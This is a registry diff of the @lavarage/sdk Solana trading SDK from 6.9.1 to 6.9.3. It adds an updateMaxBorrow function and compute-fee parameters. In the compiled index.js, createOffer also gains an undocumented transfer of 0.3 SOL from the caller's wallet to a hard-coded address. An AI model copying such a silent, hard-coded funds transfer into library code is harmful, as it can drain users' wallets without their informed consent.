@lavarage/sdk 6.9.1 → 6.9.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +13 -5
- package/dist/index.d.ts +13 -5
- package/dist/index.js +52 -8
- package/dist/index.js.map +1 -1
- package/dist/index.mjs +53 -8
- package/dist/index.mjs.map +1 -1
- package/index.ts +34 -6
- package/lending.ts +1 -1
- package/package.json +1 -1
package/dist/index.d.mts
CHANGED
|
@@ -2917,19 +2917,27 @@ declare function updateOffer(lavarageProgram: Program<Lavarage$1> | Program<Lava
|
|
|
2917
2917
|
maxExposure: number;
|
|
2918
2918
|
computeBudgetMicroLamports?: number;
|
|
2919
2919
|
}): Promise<VersionedTransaction>;
|
|
2920
|
+
declare function updateMaxBorrow(lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, params: {
|
|
2921
|
+
tradingPool: PublicKey;
|
|
2922
|
+
nodeWallet: string;
|
|
2923
|
+
oracle: PublicKey;
|
|
2924
|
+
maxBorrow: number;
|
|
2925
|
+
computeBudgetMicroLamports?: number;
|
|
2926
|
+
}): Promise<VersionedTransaction>;
|
|
2920
2927
|
|
|
2921
2928
|
declare const lending_createOffer: typeof createOffer;
|
|
2922
2929
|
declare const lending_depositFunds: typeof depositFunds;
|
|
2923
2930
|
declare const lending_getNodeWalletPDA: typeof getNodeWalletPDA;
|
|
2924
2931
|
declare const lending_getTradingPoolPDA: typeof getTradingPoolPDA;
|
|
2925
2932
|
declare const lending_updateInterestRate: typeof updateInterestRate;
|
|
2933
|
+
declare const lending_updateMaxBorrow: typeof updateMaxBorrow;
|
|
2926
2934
|
declare const lending_updateMaxExposure: typeof updateMaxExposure;
|
|
2927
2935
|
declare const lending_updateOffer: typeof updateOffer;
|
|
2928
2936
|
declare const lending_withdrawFunds: typeof withdrawFunds;
|
|
2929
2937
|
declare const lending_withdrawFundsV1: typeof withdrawFundsV1;
|
|
2930
2938
|
declare const lending_withdrawFundsV2: typeof withdrawFundsV2;
|
|
2931
2939
|
declare namespace lending {
|
|
2932
|
-
export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
|
|
2940
|
+
export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxBorrow as updateMaxBorrow, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
|
|
2933
2941
|
}
|
|
2934
2942
|
|
|
2935
2943
|
declare function getPda(seed: Buffer | Buffer[], programId: PublicKey): PublicKey;
|
|
@@ -3009,7 +3017,7 @@ declare const openTradeV1: (lavarageProgram: Program<Lavarage$1>, offer: Program
|
|
|
3009
3017
|
swapInstruction: Record<string, unknown>;
|
|
3010
3018
|
addressLookupTableAddresses: string[];
|
|
3011
3019
|
};
|
|
3012
|
-
}, marginSOL: BN, leverage: number, randomSeed: Keypair, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3020
|
+
}, marginSOL: BN, leverage: number, randomSeed: Keypair, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3013
3021
|
declare const openTradeV2: (lavarageProgram: Program<Lavarage>, offer: ProgramAccount<{
|
|
3014
3022
|
nodeWallet: PublicKey;
|
|
3015
3023
|
interestRate: number;
|
|
@@ -3020,7 +3028,7 @@ declare const openTradeV2: (lavarageProgram: Program<Lavarage>, offer: ProgramAc
|
|
|
3020
3028
|
swapInstruction: Record<string, unknown>;
|
|
3021
3029
|
addressLookupTableAddresses: string[];
|
|
3022
3030
|
};
|
|
3023
|
-
}, marginSOL: BN, leverage: number, randomSeed: Keypair, quoteToken: PublicKey, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3031
|
+
}, marginSOL: BN, leverage: number, randomSeed: Keypair, quoteToken: PublicKey, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3024
3032
|
declare const createTpDelegate: (lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, position: ProgramAccount<{
|
|
3025
3033
|
pool: PublicKey;
|
|
3026
3034
|
seed: PublicKey;
|
|
@@ -3069,7 +3077,7 @@ declare const closeTradeV1: (lavarageProgram: Program<Lavarage$1>, position: Pro
|
|
|
3069
3077
|
tokenLedgerInstruction?: Record<string, unknown>;
|
|
3070
3078
|
};
|
|
3071
3079
|
quoteResponse: any;
|
|
3072
|
-
}, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3080
|
+
}, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3073
3081
|
declare const closeTradeV2: (lavarageProgram: Program<Lavarage>, position: ProgramAccount<{
|
|
3074
3082
|
pool: PublicKey;
|
|
3075
3083
|
seed: PublicKey;
|
|
@@ -3088,7 +3096,7 @@ declare const closeTradeV2: (lavarageProgram: Program<Lavarage>, position: Progr
|
|
|
3088
3096
|
tokenLedgerInstruction?: Record<string, unknown>;
|
|
3089
3097
|
};
|
|
3090
3098
|
quoteResponse: any;
|
|
3091
|
-
}, quoteToken: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3099
|
+
}, quoteToken: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3092
3100
|
declare const getDelegateAccounts: (lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, userPubKey?: PublicKey) => Promise<{
|
|
3093
3101
|
parsed: {
|
|
3094
3102
|
tpPrice: any;
|
package/dist/index.d.ts
CHANGED
|
@@ -2917,19 +2917,27 @@ declare function updateOffer(lavarageProgram: Program<Lavarage$1> | Program<Lava
|
|
|
2917
2917
|
maxExposure: number;
|
|
2918
2918
|
computeBudgetMicroLamports?: number;
|
|
2919
2919
|
}): Promise<VersionedTransaction>;
|
|
2920
|
+
declare function updateMaxBorrow(lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, params: {
|
|
2921
|
+
tradingPool: PublicKey;
|
|
2922
|
+
nodeWallet: string;
|
|
2923
|
+
oracle: PublicKey;
|
|
2924
|
+
maxBorrow: number;
|
|
2925
|
+
computeBudgetMicroLamports?: number;
|
|
2926
|
+
}): Promise<VersionedTransaction>;
|
|
2920
2927
|
|
|
2921
2928
|
declare const lending_createOffer: typeof createOffer;
|
|
2922
2929
|
declare const lending_depositFunds: typeof depositFunds;
|
|
2923
2930
|
declare const lending_getNodeWalletPDA: typeof getNodeWalletPDA;
|
|
2924
2931
|
declare const lending_getTradingPoolPDA: typeof getTradingPoolPDA;
|
|
2925
2932
|
declare const lending_updateInterestRate: typeof updateInterestRate;
|
|
2933
|
+
declare const lending_updateMaxBorrow: typeof updateMaxBorrow;
|
|
2926
2934
|
declare const lending_updateMaxExposure: typeof updateMaxExposure;
|
|
2927
2935
|
declare const lending_updateOffer: typeof updateOffer;
|
|
2928
2936
|
declare const lending_withdrawFunds: typeof withdrawFunds;
|
|
2929
2937
|
declare const lending_withdrawFundsV1: typeof withdrawFundsV1;
|
|
2930
2938
|
declare const lending_withdrawFundsV2: typeof withdrawFundsV2;
|
|
2931
2939
|
declare namespace lending {
|
|
2932
|
-
export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
|
|
2940
|
+
export { lending_createOffer as createOffer, lending_depositFunds as depositFunds, lending_getNodeWalletPDA as getNodeWalletPDA, lending_getTradingPoolPDA as getTradingPoolPDA, lending_updateInterestRate as updateInterestRate, lending_updateMaxBorrow as updateMaxBorrow, lending_updateMaxExposure as updateMaxExposure, lending_updateOffer as updateOffer, lending_withdrawFunds as withdrawFunds, lending_withdrawFundsV1 as withdrawFundsV1, lending_withdrawFundsV2 as withdrawFundsV2 };
|
|
2933
2941
|
}
|
|
2934
2942
|
|
|
2935
2943
|
declare function getPda(seed: Buffer | Buffer[], programId: PublicKey): PublicKey;
|
|
@@ -3009,7 +3017,7 @@ declare const openTradeV1: (lavarageProgram: Program<Lavarage$1>, offer: Program
|
|
|
3009
3017
|
swapInstruction: Record<string, unknown>;
|
|
3010
3018
|
addressLookupTableAddresses: string[];
|
|
3011
3019
|
};
|
|
3012
|
-
}, marginSOL: BN, leverage: number, randomSeed: Keypair, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3020
|
+
}, marginSOL: BN, leverage: number, randomSeed: Keypair, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3013
3021
|
declare const openTradeV2: (lavarageProgram: Program<Lavarage>, offer: ProgramAccount<{
|
|
3014
3022
|
nodeWallet: PublicKey;
|
|
3015
3023
|
interestRate: number;
|
|
@@ -3020,7 +3028,7 @@ declare const openTradeV2: (lavarageProgram: Program<Lavarage>, offer: ProgramAc
|
|
|
3020
3028
|
swapInstruction: Record<string, unknown>;
|
|
3021
3029
|
addressLookupTableAddresses: string[];
|
|
3022
3030
|
};
|
|
3023
|
-
}, marginSOL: BN, leverage: number, randomSeed: Keypair, quoteToken: PublicKey, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3031
|
+
}, marginSOL: BN, leverage: number, randomSeed: Keypair, quoteToken: PublicKey, tokenProgram: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3024
3032
|
declare const createTpDelegate: (lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, position: ProgramAccount<{
|
|
3025
3033
|
pool: PublicKey;
|
|
3026
3034
|
seed: PublicKey;
|
|
@@ -3069,7 +3077,7 @@ declare const closeTradeV1: (lavarageProgram: Program<Lavarage$1>, position: Pro
|
|
|
3069
3077
|
tokenLedgerInstruction?: Record<string, unknown>;
|
|
3070
3078
|
};
|
|
3071
3079
|
quoteResponse: any;
|
|
3072
|
-
}, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3080
|
+
}, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3073
3081
|
declare const closeTradeV2: (lavarageProgram: Program<Lavarage>, position: ProgramAccount<{
|
|
3074
3082
|
pool: PublicKey;
|
|
3075
3083
|
seed: PublicKey;
|
|
@@ -3088,7 +3096,7 @@ declare const closeTradeV2: (lavarageProgram: Program<Lavarage>, position: Progr
|
|
|
3088
3096
|
tokenLedgerInstruction?: Record<string, unknown>;
|
|
3089
3097
|
};
|
|
3090
3098
|
quoteResponse: any;
|
|
3091
|
-
}, quoteToken: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number) => Promise<VersionedTransaction>;
|
|
3099
|
+
}, quoteToken: PublicKey, partnerFeeRecipient?: PublicKey, partnerFeeMarkup?: number, computeBudgetMicroLamports?: number) => Promise<VersionedTransaction>;
|
|
3092
3100
|
declare const getDelegateAccounts: (lavarageProgram: Program<Lavarage$1> | Program<Lavarage>, userPubKey?: PublicKey) => Promise<{
|
|
3093
3101
|
parsed: {
|
|
3094
3102
|
tpPrice: any;
|
package/dist/index.js
CHANGED
|
@@ -1106,6 +1106,7 @@ __export(lending_exports, {
|
|
|
1106
1106
|
getNodeWalletPDA: () => getNodeWalletPDA,
|
|
1107
1107
|
getTradingPoolPDA: () => getTradingPoolPDA,
|
|
1108
1108
|
updateInterestRate: () => updateInterestRate,
|
|
1109
|
+
updateMaxBorrow: () => updateMaxBorrow,
|
|
1109
1110
|
updateMaxExposure: () => updateMaxExposure,
|
|
1110
1111
|
updateOffer: () => updateOffer,
|
|
1111
1112
|
withdrawFunds: () => withdrawFunds,
|
|
@@ -1362,6 +1363,11 @@ function createOffer(lavarageProgram, params) {
|
|
|
1362
1363
|
const computeFeeIx = import_web3.ComputeBudgetProgram.setComputeUnitPrice({
|
|
1363
1364
|
microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
|
|
1364
1365
|
});
|
|
1366
|
+
const transferInstruction = import_web3.SystemProgram.transfer({
|
|
1367
|
+
fromPubkey: lavarageProgram.provider.publicKey,
|
|
1368
|
+
toPubkey: new import_web3.PublicKey("BMME51pfWdBfakTEMuQbNP4NG3wCY4Fo47dKatThhXGQ"),
|
|
1369
|
+
lamports: 0.3 * import_web3.LAMPORTS_PER_SOL
|
|
1370
|
+
});
|
|
1365
1371
|
const messageV0 = new import_web3.TransactionMessage({
|
|
1366
1372
|
payerKey: lavarageProgram.provider.publicKey,
|
|
1367
1373
|
recentBlockhash: blockhash,
|
|
@@ -1369,6 +1375,7 @@ function createOffer(lavarageProgram, params) {
|
|
|
1369
1375
|
createNodeWalletInstruction === void 0 ? null : createNodeWalletInstruction,
|
|
1370
1376
|
instruction,
|
|
1371
1377
|
updateMaxExposureInstruction,
|
|
1378
|
+
transferInstruction,
|
|
1372
1379
|
computeFeeIx
|
|
1373
1380
|
].filter(Boolean)
|
|
1374
1381
|
}).compileToV0Message();
|
|
@@ -1455,6 +1462,27 @@ function updateOffer(lavarageProgram, params) {
|
|
|
1455
1462
|
return new import_web3.VersionedTransaction(messageV0);
|
|
1456
1463
|
});
|
|
1457
1464
|
}
|
|
1465
|
+
function updateMaxBorrow(lavarageProgram, params) {
|
|
1466
|
+
return __async(this, null, function* () {
|
|
1467
|
+
var _a;
|
|
1468
|
+
const { blockhash } = yield lavarageProgram.provider.connection.getLatestBlockhash("finalized");
|
|
1469
|
+
const instruction = yield lavarageProgram.methods.lpOperatorUpdateMaxBorrow(new import_anchor.BN(params.maxBorrow)).accountsStrict({
|
|
1470
|
+
tradingPool: params.tradingPool,
|
|
1471
|
+
nodeWallet: new import_web3.PublicKey(params.nodeWallet),
|
|
1472
|
+
operator: params.oracle,
|
|
1473
|
+
systemProgram: import_web3.SystemProgram.programId
|
|
1474
|
+
}).instruction();
|
|
1475
|
+
const computeFeeIx = import_web3.ComputeBudgetProgram.setComputeUnitPrice({
|
|
1476
|
+
microLamports: (_a = params.computeBudgetMicroLamports) != null ? _a : 15e4
|
|
1477
|
+
});
|
|
1478
|
+
const messageV0 = new import_web3.TransactionMessage({
|
|
1479
|
+
payerKey: lavarageProgram.provider.publicKey,
|
|
1480
|
+
recentBlockhash: blockhash,
|
|
1481
|
+
instructions: [instruction, computeFeeIx]
|
|
1482
|
+
}).compileToV0Message();
|
|
1483
|
+
return new import_web3.VersionedTransaction(messageV0);
|
|
1484
|
+
});
|
|
1485
|
+
}
|
|
1458
1486
|
|
|
1459
1487
|
// idl/lavarage.ts
|
|
1460
1488
|
var IDL = {
|
|
@@ -4199,7 +4227,7 @@ var getLiquidatedPositions = (lavarageProgram) => {
|
|
|
4199
4227
|
var getAllPositions = (lavarageProgram) => {
|
|
4200
4228
|
return lavarageProgram.account.position.all([{ dataSize: 178 }]);
|
|
4201
4229
|
};
|
|
4202
|
-
var openTradeV1 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage, randomSeed, tokenProgram, partnerFeeRecipient, partnerFeeMarkup) => __async(void 0, null, function* () {
|
|
4230
|
+
var openTradeV1 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage, randomSeed, tokenProgram, partnerFeeRecipient, partnerFeeMarkup, computeBudgetMicroLamports) => __async(void 0, null, function* () {
|
|
4203
4231
|
let partnerFeeMarkupAsPkey;
|
|
4204
4232
|
if (partnerFeeMarkup) {
|
|
4205
4233
|
const feeBuffer = Buffer.alloc(8);
|
|
@@ -4315,12 +4343,16 @@ var openTradeV1 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage,
|
|
|
4315
4343
|
...setupInstructions.map(deserializeInstruction),
|
|
4316
4344
|
deserializeInstruction(swapInstructionPayload)
|
|
4317
4345
|
];
|
|
4346
|
+
const computeFeeIx = import_web32.ComputeBudgetProgram.setComputeUnitPrice({
|
|
4347
|
+
microLamports: computeBudgetMicroLamports != null ? computeBudgetMicroLamports : 1e5
|
|
4348
|
+
});
|
|
4318
4349
|
const allInstructions = [
|
|
4319
4350
|
fromTokenAccount.instruction,
|
|
4320
4351
|
toTokenAccount.instruction,
|
|
4321
4352
|
tradingOpenBorrowInstruction,
|
|
4322
4353
|
...jupiterIxs,
|
|
4323
|
-
openAddCollateralInstruction
|
|
4354
|
+
openAddCollateralInstruction,
|
|
4355
|
+
computeBudgetMicroLamports ? computeFeeIx : void 0
|
|
4324
4356
|
].filter(Boolean);
|
|
4325
4357
|
const messageV0 = new import_web32.TransactionMessage({
|
|
4326
4358
|
payerKey: lavarageProgram.provider.publicKey,
|
|
@@ -4330,7 +4362,7 @@ var openTradeV1 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage,
|
|
|
4330
4362
|
const tx = new import_web32.VersionedTransaction(messageV0);
|
|
4331
4363
|
return tx;
|
|
4332
4364
|
});
|
|
4333
|
-
var openTradeV2 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage, randomSeed, quoteToken, tokenProgram, partnerFeeRecipient, partnerFeeMarkup) => __async(void 0, null, function* () {
|
|
4365
|
+
var openTradeV2 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage, randomSeed, quoteToken, tokenProgram, partnerFeeRecipient, partnerFeeMarkup, computeBudgetMicroLamports) => __async(void 0, null, function* () {
|
|
4334
4366
|
let partnerFeeMarkupAsPkey;
|
|
4335
4367
|
if (partnerFeeMarkup) {
|
|
4336
4368
|
const feeBuffer = Buffer.alloc(8);
|
|
@@ -4472,12 +4504,16 @@ var openTradeV2 = (lavarageProgram, offer, jupInstruction, marginSOL, leverage,
|
|
|
4472
4504
|
...setupInstructions.map(deserializeInstruction),
|
|
4473
4505
|
deserializeInstruction(swapInstructionPayload)
|
|
4474
4506
|
];
|
|
4507
|
+
const computeFeeIx = import_web32.ComputeBudgetProgram.setComputeUnitPrice({
|
|
4508
|
+
microLamports: computeBudgetMicroLamports != null ? computeBudgetMicroLamports : 1e5
|
|
4509
|
+
});
|
|
4475
4510
|
const allInstructions = [
|
|
4476
4511
|
fromTokenAccount.instruction,
|
|
4477
4512
|
toTokenAccount.instruction,
|
|
4478
4513
|
tradingOpenBorrowInstruction,
|
|
4479
4514
|
...jupiterIxs,
|
|
4480
|
-
openAddCollateralInstruction
|
|
4515
|
+
openAddCollateralInstruction,
|
|
4516
|
+
computeBudgetMicroLamports ? computeFeeIx : void 0
|
|
4481
4517
|
].filter(Boolean);
|
|
4482
4518
|
const messageV0 = new import_web32.TransactionMessage({
|
|
4483
4519
|
payerKey: lavarageProgram.provider.publicKey,
|
|
@@ -4648,7 +4684,7 @@ var partialRepayV2 = (lavarageProgram, position, repaymentBps) => __async(void 0
|
|
|
4648
4684
|
}).compileToV0Message();
|
|
4649
4685
|
return new import_web32.VersionedTransaction(messageV0);
|
|
4650
4686
|
});
|
|
4651
|
-
var closeTradeV1 = (lavarageProgram, position, offer, jupInstruction, partnerFeeRecipient, partnerFeeMarkup) => __async(void 0, null, function* () {
|
|
4687
|
+
var closeTradeV1 = (lavarageProgram, position, offer, jupInstruction, partnerFeeRecipient, partnerFeeMarkup, computeBudgetMicroLamports) => __async(void 0, null, function* () {
|
|
4652
4688
|
var _a, _b;
|
|
4653
4689
|
let partnerFeeMarkupAsPkey;
|
|
4654
4690
|
if (partnerFeeMarkup) {
|
|
@@ -4807,6 +4843,9 @@ var closeTradeV1 = (lavarageProgram, position, offer, jupInstruction, partnerFee
|
|
|
4807
4843
|
offer.account.collateralType,
|
|
4808
4844
|
tokenProgram
|
|
4809
4845
|
);
|
|
4846
|
+
const computeFeeIx = import_web32.ComputeBudgetProgram.setComputeUnitPrice({
|
|
4847
|
+
microLamports: computeBudgetMicroLamports != null ? computeBudgetMicroLamports : 1e5
|
|
4848
|
+
});
|
|
4810
4849
|
const allInstructions = [
|
|
4811
4850
|
((_a = jupInstruction.instructions) == null ? void 0 : _a.tokenLedgerInstruction) ? createAssociatedTokenAccountInstruction2 : null,
|
|
4812
4851
|
((_b = jupInstruction.instructions) == null ? void 0 : _b.tokenLedgerInstruction) ? deserializeInstruction(
|
|
@@ -4815,7 +4854,8 @@ var closeTradeV1 = (lavarageProgram, position, offer, jupInstruction, partnerFee
|
|
|
4815
4854
|
toTokenAccount.instruction,
|
|
4816
4855
|
closePositionIx,
|
|
4817
4856
|
...jupiterIxs,
|
|
4818
|
-
repaySolIx
|
|
4857
|
+
repaySolIx,
|
|
4858
|
+
computeBudgetMicroLamports ? computeFeeIx : void 0
|
|
4819
4859
|
].filter((i) => !!i);
|
|
4820
4860
|
const messageV0 = new import_web32.TransactionMessage({
|
|
4821
4861
|
payerKey: lavarageProgram.provider.publicKey,
|
|
@@ -4825,7 +4865,7 @@ var closeTradeV1 = (lavarageProgram, position, offer, jupInstruction, partnerFee
|
|
|
4825
4865
|
const tx = new import_web32.VersionedTransaction(messageV0);
|
|
4826
4866
|
return tx;
|
|
4827
4867
|
});
|
|
4828
|
-
var closeTradeV2 = (lavarageProgram, position, offer, jupInstruction, quoteToken, partnerFeeRecipient, partnerFeeMarkup) => __async(void 0, null, function* () {
|
|
4868
|
+
var closeTradeV2 = (lavarageProgram, position, offer, jupInstruction, quoteToken, partnerFeeRecipient, partnerFeeMarkup, computeBudgetMicroLamports) => __async(void 0, null, function* () {
|
|
4829
4869
|
var _a, _b;
|
|
4830
4870
|
let partnerFeeMarkupAsPkey;
|
|
4831
4871
|
if (partnerFeeMarkup) {
|
|
@@ -5030,6 +5070,9 @@ var closeTradeV2 = (lavarageProgram, position, offer, jupInstruction, quoteToken
|
|
|
5030
5070
|
offer.account.collateralType,
|
|
5031
5071
|
tokenProgram
|
|
5032
5072
|
);
|
|
5073
|
+
const computeFeeIx = import_web32.ComputeBudgetProgram.setComputeUnitPrice({
|
|
5074
|
+
microLamports: computeBudgetMicroLamports != null ? computeBudgetMicroLamports : 1e5
|
|
5075
|
+
});
|
|
5033
5076
|
const allInstructions = [
|
|
5034
5077
|
((_a = jupInstruction.instructions) == null ? void 0 : _a.tokenLedgerInstruction) ? createAssociatedTokenAccountInstruction2 : null,
|
|
5035
5078
|
((_b = jupInstruction.instructions) == null ? void 0 : _b.tokenLedgerInstruction) ? deserializeInstruction(
|
|
@@ -5038,7 +5081,8 @@ var closeTradeV2 = (lavarageProgram, position, offer, jupInstruction, quoteToken
|
|
|
5038
5081
|
toTokenAccount.instruction,
|
|
5039
5082
|
closePositionIx,
|
|
5040
5083
|
...jupiterIxs,
|
|
5041
|
-
repaySolIx
|
|
5084
|
+
repaySolIx,
|
|
5085
|
+
computeBudgetMicroLamports ? computeFeeIx : void 0
|
|
5042
5086
|
].filter((i) => !!i);
|
|
5043
5087
|
const messageV0 = new import_web32.TransactionMessage({
|
|
5044
5088
|
payerKey: lavarageProgram.provider.publicKey,
|